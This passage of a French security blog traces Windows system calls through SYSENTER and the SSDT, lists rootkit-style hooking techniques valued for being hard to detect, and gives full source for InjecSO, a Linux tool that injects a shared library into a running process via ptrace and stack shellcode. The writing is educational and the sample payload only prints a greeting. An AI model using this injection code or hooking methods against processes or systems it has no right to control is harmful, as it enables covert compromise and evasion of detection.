IA32_SYSENTER_ESP (0×175) sera quant à lui chargé dans ESP
IA32_SYSENTER_EIP (0×176) sera chargé dans EIP

Ainsi, ces trois registres définissent tout ce qu’il faut pour exécuter un bout de code en mode en mode noyau, puisque CS (et donc ses deux premiers bits, encodant le CPL) sera changé.

Ces registres ne sont pas lisibles en mode utilisateur ; il faut impérativement être en ring 0 pour les lire. Pour cela, utilisons Windbg, le débogueur noyau de Microsoft. Il se télécharge ici, vous trouverez également des informations pour la configuration des symboles sur cette page.

Lançons Windbg en local kernel debugging (Cltrl K puis local). Dans l’invite de commande, tapons :

lkd> rdmsr 174
msr[174] = 00000000`00000008
lkd> rdmsr 176
msr[176] = 00000000`80541520

Nous voyons donc que IA32_SYSENTER_CS = 0×8 (donc avec un niveau de privilège à 0) et IA32_SYSENTER_EIP = 80541520. Au passage, on notera que cette adresse est supérieur à 80000000, c’est à dire en mode noyau, puisque Windows divise l’espace d’adressage de tout processus en 2 : 2 Go pour l’utilisateur (de 00000000 à 7FFFFFFF) et 2 Go pour le noyau (de 80000000 à FFFFFFFF). Regardons ce qui se trouve en 80541520 :

lkd> u 80541520 80541520+100     //desassemble les 100 premiers octets
nt!KiFastCallEntry:
80541520 b923000000      mov     ecx,23h
80541525 6a30            push    30h
80541527 0fa1            pop     fs
80541529 8ed9            mov     ds,cx
8054152b 8ec1            mov     es,cx
...
80541600 8b3f            mov     edi,dword ptr [edi]
80541602 8b1c87          mov     ebx,dword ptr [edi+eax*4]
80541605 2be1            sub     esp,ecx
80541607 c1e902          shr     ecx,2
8054160a 8bfc            mov     edi,esp
8054160c 3b3534215680    cmp     esi,dword ptr [nt!MmUserProbeAddress (80562134)]
80541612 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (805417c0)
80541618 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
8054161a ffd3            call    ebx

On voit que la fonction s’appelle KiFastCallEntry et se trouve dans le module nt qui correspond à ntoskrnl.exe, un des exécutables du noyau.

Après plusieurs vérifications de paramètres, la fonction KiFastCallEntry charge une table dans EDI (après les « … »). Il s’agit de la SSDT (Service System Dispatch Table), une table très importante du noyau qui a un rôle similaire à la table d’interruptions (IDT). Elle sert à dispatcher les appels systèmes vers la bonne fonction. Le symbole correspondant à la SSDT se nomme KiServiceTable, et est exporté par le noyau. Voici le début de son contenu :

lkd> dds KiServiceTable
80504450  805a4614 nt!NtAcceptConnectPort
80504454  805f0adc nt!NtAccessCheck
80504458  805f4312 nt!NtAccessCheckAndAuditAlarm
8050445c  805f0b0e nt!NtAccessCheckByType
80504460  805f434c nt!NtAccessCheckByTypeAndAuditAlarm

Souvenez-vous : juste avant le SYSENTER, on a placé le numéro d’appel système dans EAX. Ce registre va être utilisé ici afin de servir d’index dans cette table et de trouver le pointeur de la fonction à appeler. L’instruction suivante multiplie justement EAX par 4 (la taille d’une entrée dans la table) et l’ajoute à l’adresse de début de la table contenu dans EDI. Le résultat est place dans EBX. Et quelques instructions plus loin, on trouve… un call EBX

Faisons le calcul nous même : nous connaissons le numéro d’appel système (0×74) :

lkd> dds KiServiceTable+0x74*4
80504620  8057a182 nt!NtOpenFile

Bingo, voila la fonction NtOpenFile : c’est elle qui sera exécutée lors du call EBX.

Retour en userland

Notre reversing peut s’arrêter ici. Nous n’allons pas désassembler cette fonction car ce n’est pas le but de l’article. Concernant le retour de l’appel système, on peut, en désassemblant la suite de KiFastCallEntry , voir que la fonction KiServiceExit va être appelée. A son tour, elle appelle une des deux fonctions KiSystemCallExit ou KiSystemCallExit2. La première revient en mode utilisateur en utilisant l’instruction IRET, et l’autre le fait en utilisant SYSEXIT (c’est celle là qui sera appelée dans notre cas). Cette instruction rebascule en userland et restaure EIP. On se retrouve alors dans ZwOpenFile, de ntdll.

Conclusion

Au travers de cet article, nous avons tracé l’exécution d’un programme utilisateur afin de comprendre comment il passe en mode noyau afin d’exécuter des instructions privilégiées. Nous avons vu comment fonctionne l’instruction SYSENTER et le rôle de la SSDT.

On peut alors imaginer plusieurs hooks possibles exploitant ce schéma de fonctionnement. Au niveau utilisateur, on peut hooker l’entrée de l’IAT correspondant à la fonction à appeler. En mode noyau, il y a plusieurs possibilités. La première serait de remplacer l’adresse de la fonction à appeler dans la SSDT par une autre fonction qui appelle l’originale et effectue un filtrage en entrée et en sortie. Une autre serait de modifier carrément le registre IA32_SYSENTER_EIP en le faisant pointer sur une autre routine de traitement. L’équivalent pour les vieilles versions de Windows utilisant les interruptions serait de modifier le registre IDTR contenant l’adresse de la table des interruptions, ou bien de hooker l’entrée 2E dans cette table. Enfin, une dernière solution, radicale mais fonctionnelle, serait de faire un hook inline de la fonction pointée, en remplaçant ses premiers octets par un call d’une autre fonction. Comme vous le voyez, les possibilités de hook sont innombrables, les plus « profondes » étant bien souvent les plus indétectables…

Références

Stage chez Thomson R&D

Emilien Girault — Wed, 25 Mar 2009 14:48:10 +0000

J’ai commencé mon stage il y a maintenant une dizaine de jours chez Thomson R&D à Cesson-Sévigné. Comme prévu, mon stage a pour sujets principaux le reverse-engineering et le développement de drivers. Pour être plus précis, le but du stage est de réaliser un conteneur sécurisé de données. Autrement dit, un module qui va contenir des données très sensibles et dont le but va être de les rendre inaccessibles de l’extérieur. Il s’agit d’un projet purement orienté recherche, et à part mon maître de stage, je suis seul à travailler dessus.

Au programme : plongeon dans les bas fonds de l’architecture x86 d’Intel, et plus précisément toutes les fonctionnalités de protection, dont certaines sont parfois méconnues (ou pas). Ce n’est pas sans me rappeler certaines parties de mes cours de système suivis à l’INSA et au RIT, mais avec une forte dose de concret en plus…

Cette fois-ci, une grosse partie du code s’exécutera en mode noyau (ring 0), ce qui va me faire goûter aux joies de la programmation de drivers et des Blue Screen Of Death de Windows. D’ailleurs au niveau de l’OS, je travaille principalement Windows pour le moment, mais dans l’idéal, le projet devrait aussi être porté sous Linux.

De plus, qui dit sécurité des données et confidentialité dit… cryptographie ! Le module que je vais développer devra intégrer des primitives de base permettant d’encrypter les données sensibles et de les décrypter au moment voulu.

Enfin, ce stage va être l’occasion pour moi de redécouvrir les techniques utilisées par les rootkits, principalement le hooking et la furtivité. Autant dire que je me sens comme un poisson dans l’eau…

Bien entendu, ayant signé une charte de confidentialité, je ne pourrais pas divulguer tout ce que je fais dans les moindres détails, mais je compte bien publier ici quelques articles concernant des sujets ou projets du domaine public que mon stage m’aura fait découvrir.

InjecSO : Injection de .so sous Linux

Emilien Girault — Sat, 14 Feb 2009 20:37:52 +0000

L’injection de librairie dynamique est une technique principalement orientée reverse-engineering qui consiste à introduire et exécuter du code dans un processus actif du système d’exploitation. Le code en question s’exécute alors dans le contexte du processus cible, et peut accéder aux mêmes ressources. Attention, je parle bien d’injection dynamique, c’est à dire qu’elle peut avoir lieu n’importe quand après le lancement du processus, et non pas juste à son lancement comme avec la technique utilisant LD_PRELOAD (qui en plus ne fonctionne pas avec les programmes setuid).

Après avoir lu de nombreux articles sur l’injection de DLL sous Windows, j’ai commencé à en avoir assez à ne pas trouver d’équivalent sous Linux. Le peu d’information que j’ai trouvé pour Linux datent d’au moins 5 ans, et se révèlent non adaptables aux distributions récentes. C’est pourquoi je me suis lancé dans l’idée de réaliser ce genre d’outil moi même. Ainsi, après m’être heurté à plusieurs obstacles, j’ai finalement réussi à développer un outil fonctionnel : InjecSO.

Cet outil marche très bien sur ma machine qui est une Ubuntu 8.10, avec un noyau 2.6.27, sans outil de protection de la mémoire comme PaX (la technique utilisée ne marchera pas si la pile n’est pas exécutable), et avec une Libc de version 2.8.90. Je n’ai pas eu l’occasion de tester sur d’autres machines, mais je pense qu’il devrait fonctionner aussi bien, les deux seuls obstacles étant l’implémentation de la librairie standard et les éventuels patches appliqués au noyau.

InjecSO in a nutshell

Voyons dans un premier temps comment utiliser InjecSO dans un cas simple.

Téléchargement

Télécharger InjecSO au format tar.gz

Présentation rapide

InjecSO se présente sous la forme de deux outils.

injecso est le cœur du programme utilisé pour l’injection de code. Il s’agit d’un programme écrit en C qui prend 3 arguments : le pid du processus cible, le chemin absolu de la librairie à injecter, et l’adresse de la fonction __libc_dlopen_mode() dans l’espace mémoire du processus cible. Cette dernière est une fonction spéciale de la libc qui rend l’injection possible et est décrite précisément dans la deuxième partie de l’article. Localiser cette adresse précise dans le processus cible est faisable mais rébarbatif ; c’est pourquoi j’ai développé un deuxième outil pour se faciliter la vie.
injecso.sh est un script Bash qui a justement pour but de calculer cette adresse de façon automatique. Il ne prend donc que deux paramètres : le pid et le nom de la librairie à injecter. Il appelle automatiquement le programme précédent en lui fournissant le paramètre manquant. De plus, le chemin de la librairie peut être relatif car l’outil calcule le chemin absolu automatiquement.

J’entends déjà des remarques venir : «Pourquoi ne pas avoir tout intégré dans un seul programme ?». La réponse est simple : cela aurait été faisable, mais m’aurait nécessité beaucoup plus de temps pour au final arriver au même résultat. Le calcul de l’adresse nécessite d’analyser la mémoire du processus et le code de la libc, et il se trouve qu’il existe déjà des outils qui font cela très bien sous Linux. Ainsi, injecso.sh ne fait qu’exploiter ces ressources pour calculer rapidement l’adresse de la fonction voulue. Je suis conscient que cela a ses avantages et ses inconvénients ; en particulier, le script nécessite que vous ayez certaines dépendances d’installées, dont readelf et perl (pour parser la sortie produite par ces outils). Je ne pense pas que cela soit une exigence trop forte, puisque ces outils sont en général présents sur beaucoup de systèmes, et sont au pire facilement installables surtout si votre distribution comprend un système de paquets.

Compiler le programme

Décompressez l’archive et utilisez le Makefile pour compiler l’exécutable :

$ tar xzvf injecso-1.0tar.gz
$ make

Exemples d’utilisation

L’outil est capable d’injecter n’importe quelle librairie dans n’importe quel type de processus, pour peu que vous ayez les droits suffisants (n’espérez pas injecter du code dans un processus appartenant à root si vous ne l’êtes pas vous-même). Comme exemple, prenons un processus simple tel que l’éditeur de texte vi et une librairie dynamique qui affiche « Hello World! » nommée libhelloworld.so. Voici le code de libhelloworld.c :

#include 
#include 

void __attribute__ ((constructor)) hello_world(void);

void hello_world(void){
  printf("Hello World!n");
}

La directive __attribute__ ((constructor)) indique au compilateur qu’il devra ajouter cette fonction à la liste des fonctions à appeler au chargement de la libairie. Si vous êtes familier du monde Windows, c’est plus ou moins l’équivalent de la directive DllMain(). Compilez le code avec :

$ gcc libhelloworld.c -o libhelloworld.so -shared -fPIC

Vous pouvez placer cette librairie ou bon vous semble, le plus simple étant de la mettre dans le même dossier qu’InjectSO. Lancez vi, récupérez son pid avec la commande pidof vi et lancez l’injection !

$ ./injecso.sh $(pidof vi) ./libhelloworld.so
[+] Found __libc_dlopen_mode at 0xb7e44210
[+] Launching: injecso 9796 libhelloworld.so 0xb7e44210
[+] Attaching...
[+] Waiting for process...
[+] Copying shellcode to 0xbfa0b02e...
[+] Setting eip and esp...
[+] Detaching...

Regardez à présent la fenête où vous avez lancez vi… Vous devriez voir un petit Hello World! en haut de la console

Vous pouvez aussi bien injecter votre librairie dans des plus gros processus comme par exemple Firefox — pour les applications graphiques, le message s’affichera dans la console ayant l’ancé le programme —, et complexifier votre librairie. Les possibilités n’ont de limite que votre imagination : création d’un client ou serveur, dump de la mémoire, log d’événements, hooking de fonctions de la PLT… Notez que votre librairie peut à son tour appeler d’autres librairies (dynamiques ou pas) sans aucun problème.

Remarque concernant les threads

Il est important de noter qu’InjecSO ne crée aucun thread dans le processus cible. A la différence des outils d’injection de code sous Windows qui effectuent un appel à CreateRemoteThread(), le code injecté est directement exécuté dans le contexte courant du processus, qui est sauvegardé avant l’injection puis restauré. Si le code de votre librairie est gros ou effectue des opérations gourmandes en cycles CPU, le processus cible en sera ralenti. Cette remarque ‘est particulièrement valable si votre librairie effectue des entrées/sorties disque ou réseau (si vous comptez coder un serveur…). C’est pourquoi dans ces cas il est préférable de créer un nouveau thread, en utilisant par exemple la libairie pthread.

Détails d’implémentation

Cette section décrit en détails comment InjecSO est implementé. Je commence par faire un tour d’horizon des techniques utilisées, puis je détaille le code de l’outil.

ptrace() et dlopen()

Il faut reconnaître que sous Linux, l’attirail disponible pour injecter des librairies est très limité, en tout cas beaucoup plus que sous Windows. A vrai dire, il n’y a tout simplement pas d’appel de fonction tel que OpenProcess() et CreateRemoteThread(), donc manipuler un processus devient beaucoup plus délicat. Le seul outil dont nous disposons est ptrace(). Il s’agit d’un appel système qui est utilisé majoritairement pour le débogage de processus. Il est relativement simple à utiliser ; on commence par s’attacher au processus à tracer, qui se bloque. On peut alors récupérer son état, ses registres et sa mémoire d’un processus, et les modifier. Une fois les opérations de tracage terminées, on se détache, et le processus reprend son cours. Nous allons voir comment InjecSO utilise cet appel système par la suite ; en attendant je vous renvoie au manuel si vous voulez en savoir plus.

Pour charger une librairie dynamique sous Unix, on utilise la fonction dlopen() qui est plus ou moins l’équivalent de LoadLibraryA() sous Windows. Cette fonction prend en paramètre le nom de la librairie à charger, ainsi qu’un flag qui indique la manière dont doivent être résolus les symboles. Cela n’a guère d’importance pour notre application, aussi nous spécifierons arbitrairement que les symboles doivent tous être résolus au chargement.

Un premier problème : dlopen()

A première vue, ptrace() et dlopen() constituent de bonnes bases pour notre injection. Seulement, ce n’est pas si simple : il se trouve que la fonction dlopen() n’est pas une fonction standard, mais se situe dans une librairie séparée nommée libdl… qui n’est pas toujours chargée par tous les processus. Autrement dit, un processus lambda ne possède pas forcément le moyen de charger une librairie dynamique, car la fonction qui permet de charger des librairies se trouve justement dans une librairie dynamique !

C’est là qu’on peut se dire «OK, mais alors comment fait un processus quand il veut charger une librairie ?». Réponse : c’est le programmeur qui spécifie au moment de la compilation et de l’édition des liens qu’il vaut lier son programme avec libdl qui sera alors chargée à son lancement. Sauf que dans notre cas, nous ne sommes pas forcément le développeur du programme cible, et nous ne voulons de toute manière pas modifier le code du programme…

La solution : __libc_dlopen_mode()

En cherchant de la documentation sur les détails d’implémentation de dlopen(), j’ai finalement trouvé un papier datant de 2003 [1] qui explique que les fonctions de libdl sont pour la plupart des stubs qui appellent des fonctions qui se trouvent en réalité dans la libc. Rappelons que la libc est chargée dans quasiment tous les processus, donc cette découverte parraît très intéressante. Selon le papier, dlopen() appelle en fait _dl_open(). Après vérification, je me rend compte que ce n’est pas/plus le cas, du moins sur ma machine. Mais il semblerait qu’il y ait une fonction similaire avec un nom assez proche : __libc_dlopen_mode(). Voici la mise en évidence en images :

$ pidof bash
10712 9864 8911
$ cat /proc/10712/maps | grep libc
b7d61000-b7eb9000 r-xp 00000000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
b7eb9000-b7ebb000 r--p 00158000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
b7ebb000-b7ebc000 rw-p 0015a000 08:08 51577   /lib/tls/i686/cmov/libc-2.8.90.so
$ readelf -s -D /lib/tls/i686/cmov/libc-2.8.90.so | grep dlopen
 2188 744: 0011d210   156    FUNC GLOBAL DEFAULT  11 __libc_dlopen_mode
 2188 966: 0011d210   156    FUNC GLOBAL DEFAULT  11 __libc_dlopen_mode

Dans un premier temps, on récupère les pid d’un processus quelconque, ici Bash, on obtient le chemin complet de la libc (ici /lib/tls/i686/cmov/libc-2.8.90.so) et on utilise readelf pour afficher les symboles dynamiques de la librairie. Résultat : il y a bien une fonction qui a l’air similaire à dlopen().

Mais que fait cette fonction, et quel est son prototype ? Pour cela, le plus simple est de récupérer le code source de la librairie standard et de le parcourir. C’est ce que j’ai donc fait, et je suis finalement tombé sur cela :

extern void *__libc_dlopen_mode  (__const char *__name, int __mode);

Comparons cela au prototype original de dlopen() :

void *dlopen(const char *filename, int flag);

Hum… cela paraît très similaire, pour ne pas dire identique ! Je m’empresse donc de coder un petit programme en C qui appelle cette fonction, et m’aperçois alors que la libraire est bien chargée, comme avec dlopen() ! Super, nous pouvons donc nous contenter de cette fonction.

Deuxième problème : randomization des adresses

Ok, nous avons maintenant un nom de fonction pour charger la librairie. Cependant, pour pouvoir l’appeler dans le processus cible, il nous faut son adresse. Comment l’obtenir, sachant qu’elle se trouve dans l’espace mémoire du processus cible ? Nous savons que la fonction réside dans la libc ; pour déterminer son adresse nous pouvons utiliser le même programme que précédamment, readelf. Lors de notre dernière commande, cet outil nous a indiqué que la fonction se situe à l’offset 0x0011d210 dans l’image mémoire de la librairie. Comment obtenir l’adresse globale à partir de cet offset ? Simplement en additionnant cet offset avec l’adresse de base à laquelle est chargée la libc. Mais quelle est l’adresse de base de la libc ? Observons le résultat de la commande ldd :

$ ldd /bin/bash | grep libc
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7ee4000)

Nous utilisons cette commande sur Bash, et filtrons la sortie pour n’afficher que ce qui nous intéresse. Notez que le chemin de la libc est ici différent de précédamment, mais cela n’a pas d’importance pour ce que je cherche à illustrer ici. Ce qu’il faut noter ici, c’est que ldd nous affiche que la libc est chargée à l’adresse 0xb7ee4000. Mais il y a un léger hic… En effet, si on relance la même commande une deuxième fois…

$ ldd /bin/bash | grep libc
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7ef0000)

Oups. L’adresse a changée ! Pourquoi donc ? Parce que depuis relativement récamment (quelques années), Linux a introduit un système de randomization des adresses. Autrement dit, l’adresse à laquelle une librairie est chargée n’est pas constante et varie pour toutes les exécutions d’un programme donné. Autant dire que cela ne va pas nous faciliter la tâche pour calculer l’adresse de __libc_dlopen_mode()…

Solution : /proc//maps

Tout n’est pas perdu. Linux possède un système de fichier virtuel, nommé /proc/, qui va nous permettre de nous en sortir. En effet, lorsqu’un processus est créé, Linux crée un répertoire /proc// (> étant le nom du processus en question) contenant plein d’informations. En particulier, le fichier /proc//maps contient la liste de toutes les sections mappées mémoires dans l’espace du processus. Voyons ce que nous pouvons obtenir…


$ pidof bash
10712 9864 8911
$ cat /proc/10712/maps | grep libc
b7d61000-b7eb9000 r-xp 00000000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so
b7eb9000-b7ebb000 r--p 00158000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so
b7ebb000-b7ebc000 rw-p 0015a000 08:08 51577  /lib/tls/i686/cmov/libc-2.8.90.so
On s’aperçoit que la libc est mappée 3 fois dans l’espace mémoire de Bash : une fois en lecture et exécution, une fois en lecture seule, et une fois en lecture et écriture. En ce qui nous concerne, nous souhaitons exécuter une fonction, donc nous avons intérêt à choisir la section exécutable. Son adresse est 0xb7d61000 ; ajoutons à cela l’offset précédent (0x0011d210), et nous obtenons l’adresse de __libc_dlopen_mode() ! Sa valeur n’a pas d’importance dans cet exemple car nous voulons juste un moyen de la calculer automatiquement pour n’importe quel processus.
Injecso.sh : calcul de l’adresse
Si nous rassemblons tout ce que nous venons de voir, nous savons désormais calculer l’adresse de __libc_dlopen_mode() pour un processus donnée. Il ne reste plus qu’à mettre tout cela dans un script ; c’est le but d’injecso.sh. Le script a volontairement été raccourci ici pour n’afficher que les bouts intéressants.
#!/bin/bash
# Param renaming
pid=$1
lib=$2
Nous commençons par récupérer la ligne de /proc//maps qui nous intéresse, et nous allons extraire d’une part l’adresse de base de la librairie, et son nom.
# Get the map of process and get the line
# that correspond to the executable section of libc
line=$(cat /proc/$pid/maps | grep "libcb" | grep r-x | head -n 1)
# Extract the base address of that section and the name of the library
libc_baseaddr=$(echo "$line" | cut -d "-" -f1)                # first field
libc_name=$(echo "$line" | perl -n -e '/(S+$)/ && print $1') # last field
Nous utilisons ensuite readelf pour extraire l’offset de __libc_dlopen_mode().
# Use readelf to find the offset of __libc_dlopen_mode
dlopen_offset=$(readelf -s -D $libc_name | grep __libc_dlopen_mode |
  head -n 1 | perl -n -e '/^s*S+s+S+s+(S+)/ && print $1') # 3rd field
L’adresse est obtenue en additionnant cet offset avec l’adresse de base.
# Compute the actual addresses
dlopen_addr=$(expr $(printf "%d" 0x$libc_baseaddr) 
  + $(printf "%d" 0x$dlopen_offset))
dlopen_addr_hex=$(printf "0x%x" $dlopen_addr)

echo "[+] Found __libc_dlopen_mode at $dlopen_addr_hex"
echo "[+] Launching: injecso $pid $lib $dlopen_addr_hex"
Il ne reste plus qu’a passer les paramètres adéquats à notre injecteur.
# Launch InjecSO
$(dirname $0)/injecso $pid $(pwd)/$lib $dlopen_addr_hex
Voila, nous venons de faire le tour du script. Plutôt simple, la difficulté majeure étant de parser la sortie des différents outils utilisés.
Structure de l’injection
Bon, ce n’est pas tout, mais nous n’avons toujours pas vu comment se déroule l’injection ! C’est là que nous allons utiliser ptrace()… Comme je l’ai dit précédemment, cet appel système permet de modifier la mémoire et les registres d’un processus cible. Comment l’utiliser à fin d’injecter un appel à __libc_dlopen_mode() ? La solution la plus simple est d’injecter un shellcode qui va réaliser l’appel. Il y a plusieurs possibilités pour ce faire ; j’ai choisi la plus simple c’est à dire d’injecter le shellcode dans la pile. Notez que cela requirt que la pile soit exécutable, ce qui n’est pas toujours le cas.
De plus, il va nous falloir faire très attention car nous ne voulons pas crasher le processus cible. Comme notre shellcode sera susceptible de s’exécuter n’importe quand dans le processus, il doit rester « invisible ». Autrement dit, il faut que l’état du processeur avant et après l’exécution du shellcode soit « quasiment » le même. Pour cela, nous allons devoir sauvegarder les registres avant d’exécuter la charge utile du shellcode, et les restaurer ensuite.
Là encore, il y a plusieurs solutions pour résoudre ce problème ; je vais détailler celle que j’ai retenue pour injecSO. Voici un shema de la pile avant l’appel au shellcode :
 |               |
 |               |
 |               |
 |               |
 |               |
 +---------------+
 |    donnees    | <- esp
 |               |
Dans ce schéma, les adresses croissent vers le bas, mais rappelez-vous que la pile croît en sens inverse. Au moment de l’injection, nous allons effectuer les opérations suivantes en utilisant ptrace():

Sauvegarder l’adresse de l’instruction courante (contenue dans eip) sur la pile
Allouer le shellcode sur la pile
Faire pointer  eip et esp sur le shellcode

Voici donc la pile après l’injection :
 |               |
 +---------------+
 |   shellcode   | <- eip, esp
 |               |
 |               |
 |               |
 +---------------+
 |  ancien eip   |
 +---------------+
 |    donnees    |
 |               |
Pour que cela fonctionne, le shellcode devra avoir une structure particulière :

Quelques nops afin de compenser un éventuel décalage dans les adresses.
pushal afin de sauvegarder les registres sur la pile.
Charge utile du shellcode (en gros, push des arguments et call __libc_dlopen_mode )
popal pour restaurer les registres
addl $size, %esp ($size étant la taille du shellcode) afin de repositionner esp sur l’adresse de retour
ret qui dépilera et restaurera l’adresse de retour

L’injecteur va dans un premier temps générer le shellcode suivant ce modèle. Cependant, ce modèle est incomplet car le shellcode nécessite des paramètres qui ne seront connus qu’à l’exécution : l’adresse de __libc_dlopen_mode, le nom de la librairie à injecter, ainsi que la taille du shellcode (comprenant le nom de la librairie). Ainsi, l’injecteur va devoir compléter/patcher le shellcode à plusieurs endroits avant qu’il soit fonctionnel.
Le shellcode
Voici le code du shellcode utilisé ; je pense que les commentaires sont assez explicites :
  .text
  .globl shellcode_code
  .globl shellcode_code_end

shellcode_code:

  /* Some nops */
  nop
  nop
  nop
  nop
  nop
  nop
  nop

  /* Save all registers */
  pushal

  /* Get the name of the library into ebx */
  jmp       libname

call_dlopen:
  popl      %ebx

  /* 0x11111111 will be later replaced by
     the address of __lib_dlopen_mode */
  movl      $0x11111111, %eax
  pushl     $2      /* RTLD_NOW */
  pushl     %ebx    /* name of the library */
  call      *%eax   /* call __lib_dlopen_mode */

  /* Clean args on the stack */
  addl      $8, %esp

  /* Restore all registers */
  popal

  /* 0x12345678 will be later replaced by
     the size of the shellcode (+ delta) */
  addl      $0x12345678, %esp

  /* Return to where we were before */
  ret

libname:
  call call_dlopen
shellcode_code_end:
/*
 * End of shellcode
 * The string corresponding to the library name
 * will be put here later
 */
Comme je le disais, le shellcode est encore incomplet. En particulier, il manque encore le nom de la librairie, qui sera ajouté à la fin. Pour récupérer son adresse relative, nous utilisons l’astuce du jmp/call, assez célèbre. Concernant l’adresse de  __libc_dlopen_mode et la taille du shellcode, nous laissons des offsets bidon pour le moment que nous allons patcher ensuite. Voila justement le début du code de l’injecteur, qui a pour but d’assembler/patcher le shellcode :
int main(int argc, char **argv){
  char * shellcode;
  int shellcode_size, libname_size;
  char * ptr;
  int i;
  int pid;
  char * libname;
  int dlopen_addr;

  //Check parameters
  check_params(argc, argv, &pid, &libname, &dlopen_addr);
Ici, nous venons de récupérer les paramètres de l’injecteur, c’est à dire le pid, le nom de la librairie et l’adresse de __libc_dlopen_mode. Je ne pense pas que cette fonction soit sufisamment intéressante et complexe pour être détaillée ici.
  //Compute the size of the library name and deduce the shellcode size
  libname_size = strlen(libname);
  shellcode_size = (char *) shellcode_code_end - (char *) shellcode_code 
                   + libname_size + 1;

  //Allocate the shellcode buffer
  shellcode = malloc(shellcode_size);
La copie du shellcode commence ici, puis le nom de la librairie y est ajouté.
  //Copy the shellcode code into the buffer
  for(i = 0, ptr = (char *) shellcode_code;
      ptr != (char *) shellcode_code_end;
      ptr++, i++){
    shellcode[i] = *ptr;
  }

  //Copy the library name at the end of the shellcode
  for(ptr = libname; *ptr != 0; ptr++, i++){
    shellcode[i] = *ptr;
  }
Maintenant, c’est le moment de patcher le shellcode. Le début du shellcode ayant une taille fixe, nous connaissons précisément les offsets à patcher (il suffit d’assembler le shellcode une première fois et de compter).
  //Patch the shellcode by inserting the real address of __libc_dlopen_mode
  //(replace 0x11111111 by dlopen_addr)
  *((int *) &(shellcode[12])) = dlopen_addr;

  //Patch the shellcode to include its own size
  *((int *) &(shellcode[27])) = shellcode_size + DELTA_SHELLCODE_EIP_BAK;
Il y a un petit détail dont je n’ai pas parlé : l’expérience montre que le shellcode inséré tel quel juste après l’adresse de retour ne marche pas ; la fin du shellcode se retrouve écrasée pour une raison que je n’ai pas encore bien comprise. Pour éviter ça, j’ai introduit une petit décalage (delta) de quelques octets entre l’adresse de retour et la fin du shellcode, afin de garantir qu’elle ne sera pas touchée. Il faut juste prendre en compte ce décalage dans certains calculs, bref rien de très compliqué.
  //Inject!
  inject(pid, shellcode, shellcode_size);
Le shellcode est désormais prêt, place à l’injection !
L’injection de code
Voici enfin la routine qui effectue l’injection.
void inject(int pid, char * shellcode, int shellcode_size){

  long res;
  struct user_regs_struct regs;
  char * addr_shellcode;
  int i;

  //Attach to the process
  printf("[+] Attaching...n");
  res = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
  if(res == -1){
    perror("Attaching");
  }
Après s’être attaché au processus, il faut impérativement l’attendre, sans quoi il risque de ne pas être prêt.
  //Wait for the process
  printf("[+] Waiting for process...n");
  waitpid(pid, NULL, 0);

  //Set option for interrupted syscalls
  res = ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD);
  if(res == -1){
    perror("Setting ptrace option");
  }
Cette option n’est pas obligatoire, mais est préférable dans le cas où le processus a été interompu en plein milieu d’un appel système.
  //Get the registers of the process
  res = ptrace(PTRACE_GETREGS, pid, NULL, ®s);
  if(res == -1){
    perror("Getting registers");
  }
Nous avons les registres du processus, nous pouvons maintenant les manipuler comme nous voulons. Nous commençons par calculer l’adresse à laquelle le shellcode devra être chargé, puis nous sauvegardons l’adresse de retour sur la pile
  //Compute the address where the shellcode will be copied
  //We keep 4 bytes for old eip and a delta between this
  //and the end of the shellcode
  addr_shellcode = (char *) regs.esp - shellcode_size 
                    - DELTA_SHELLCODE_EIP_BAK - 4;

  //Save eip on the stack (esp orig - 4)
  res = ptrace(PTRACE_POKEDATA, pid, regs.esp-4, regs.eip);
  if(res == -1){
    perror("Saving eip");
  }
Il faut maintenant copier le shellcode. Attention : lors des transferts de données, ptrace() copie les octets 4 par 4. Il faut donc faire attention lors de l’itération, et ne pas oublier la fin du shellcode.
  //Copy shellcode
  printf("[+] Copying shellcode to 0x%x...n", (int) addr_shellcode);
  for(i = 0; i < shellcode_size/4; i++){
    res = ptrace(PTRACE_POKEDATA, pid, &addr_shellcode[i*4], 
         (int) *((int*) &shellcode[i*4])); //Copy 4 bytes each time
    if(res == -1){
      perror("Copying shellcode");
    }
  }
  if((shellcode_size % 4) != 0){
    res = ptrace(PTRACE_POKEDATA, pid, &addr_shellcode[i*4], 
         (int) *((int*) &shellcode[i*4])); //Copy the last 3- bytes if necessary
    if(res == -1){
      perror("Copying shellcode");
    }
  }
Le shellcode a été copié, il ne reste plus qu’à mettre à jour esp et eip en les faisant pointer sur le shellcode. En fait, nous décalons légèrement eip afin d’être sûr de tomber au milieu des nops.
  //Make eip and esp point to the shellcode
  printf("[+] Setting eip and esp...n");
  regs.eip = (int) addr_shellcode+2;
  regs.esp = (int) addr_shellcode;
  res = ptrace(PTRACE_SETREGS, pid, NULL, ®s);
  if(res == -1){
    perror("Setting eip and esp");
  }
Mission accomplie, plus qu’à se détacher pour libérer le processus.
  //Detach from the process
  printf("[+] Detaching...n");
  res = ptrace(PTRACE_DETACH, pid, NULL, NULL);
  if(res == -1){
    perror("Detaching");
  }
Pour comprendre en détails les arguments de chaque appel à ptrace(), je vous conseille fortement de lire le manuel.
Conclusion
Ca y est, nous venons d’arriver au bout de l’injection. J’espère que vous avez désormais une idée plus claire sur le fonctionnement général de l’injection de code sous Linux. Cela m’aura pris 3 jours pour arriver à un prototype fonctionnel, mais je ne suis vraiment pas déçu compte tenu du résultat. Si vous avez des remarques, n’hésitez pas !
Références

[1] Linux X86 run-time process manipulation, skape, Uninformed, 2003